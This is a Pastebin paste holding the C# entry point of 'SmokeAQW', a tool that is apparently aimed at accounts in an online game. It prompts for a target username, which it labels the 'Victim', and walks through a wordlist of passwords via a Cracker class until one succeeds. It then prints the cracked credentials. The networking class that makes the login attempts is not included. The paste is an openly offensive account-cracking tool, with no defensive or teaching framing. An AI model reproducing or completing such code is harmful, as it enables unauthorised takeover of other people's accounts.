Advertisement
Guest User

Untitled

a guest
Jun 5th, 2017
72
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C# 2.11 KB | None | 0 0
  1. using System;
  2. using System.Collections.Generic;
  3. using System.Linq;
  4. using System.Text;
  5. using System.Runtime.InteropServices;
  6. using ConsoleApplication1.Cracker;
  7. using ConsoleApplication1.Cracker.Methods;
  8.  
  9. namespace ConsoleApplication1
  10. {
  11.     class Program
  12.     {
  13.         const string SAQW_Version = "2.0";
  14.         const string SAQW_Title = ("SmokeAQW V " + SAQW_Version);
  15.  
  16.  
  17.  
  18.         static void Main(string[] args)
  19.         {
  20.             string Target;
  21.             string Password;
  22.             int StartFrom;
  23.  
  24.             Console.Title = SAQW_Title.ToString();
  25.  
  26.             Console.WriteLine("Welcome to SmokeAQW V{0}", SAQW_Version);
  27.             Console.WriteLine("Please enter a Username to crack:");
  28.             Target = Console.ReadLine();
  29.  
  30.             Console.WriteLine("Please Value to start from:");
  31.             StartFrom = int.Parse(Console.ReadLine());
  32.  
  33.             Console.WriteLine("Victim: {0}\nStartsFrom: {1}", Target, StartFrom);
  34.  
  35.             //Declares Objects.
  36.             Cracker.Cracker AccountCracker = new Cracker.Cracker(Target);
  37.             Cracker.Methods.WordList Passwords = new Cracker.Methods.WordList("wordlist1.txt", StartFrom);
  38.  
  39.             AccountCracker.Password = null;
  40.  
  41.             try
  42.             {
  43.                 RunPasswords:
  44.                 while ((Password = Passwords.Next()) != null)
  45.                 {
  46.                     while (AccountCracker.Run())
  47.                     {
  48.                         AccountCracker.Password = Password;
  49.                         Console.Write("\rCurrent Try: {0} & Password: {1}", AccountCracker.PasswordCount, AccountCracker.Password);
  50.                     }
  51.                     AccountCracker.DEBUG("CRACKER", ("SUCCES!\nUsername: " + AccountCracker.Username + "\nPassword: " + AccountCracker.Password));
  52.                 }
  53.                 if (!Passwords.Terminated)
  54.                     goto RunPasswords;
  55.             }
  56.             finally { Passwords.Terminate(); }
  57.  
  58.             Console.WriteLine("\nCracked!\nUsername: {0}\nPassword: {1}", AccountCracker.Username, AccountCracker.Password);
  59.             Console.Read();
  60.         }
  61.     }
  62. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement